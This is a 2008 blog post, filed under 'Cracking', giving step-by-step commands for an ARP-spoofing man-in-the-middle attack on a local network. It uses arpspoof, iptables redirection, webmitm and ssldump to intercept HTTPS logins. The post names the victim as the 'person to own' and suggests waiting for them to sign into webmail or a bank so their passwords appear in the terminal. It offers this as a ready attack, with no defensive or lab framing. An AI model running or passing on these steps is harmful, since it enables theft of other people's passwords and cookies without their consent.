Howto: arpspoof, webmitm, and ssldump to sniff passwords via https

Posted on May 11th, 2008 in Cracking by admin

Let me show you how easy it is to sniff someone elses password/cookies via ssl/https on the lan/wlan with ubuntu linux.

We will be using Arp Spoofing/Poisoning for this attack

You can learn more about arp spoofing and poisoning here

The Attack preparation:
First lets grab the necessary packages:
sudo apt-get install dsniff ssldump (alternatively zypper in, or yum install, etc..)

Now lets enable packet forwarding:
sudo -s
echo 1 > /proc/sys/net/ipv4/ip_forward

Lets set some iptables rules:
iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT

iptables -A FORWARD -j ACCEPT

arpspoof -t “target ip(person to own)” “gateway ip(router)”

webmitm -d

ssldump -n -d -k webmitm.crt | tee ssldump.log

Now all you do is wait for the target machine to log into google/gmail/yahoo/msn/hotmail or any other https connection, even a bank or whatever interests you and you will see the passwords pop up in the terminal.

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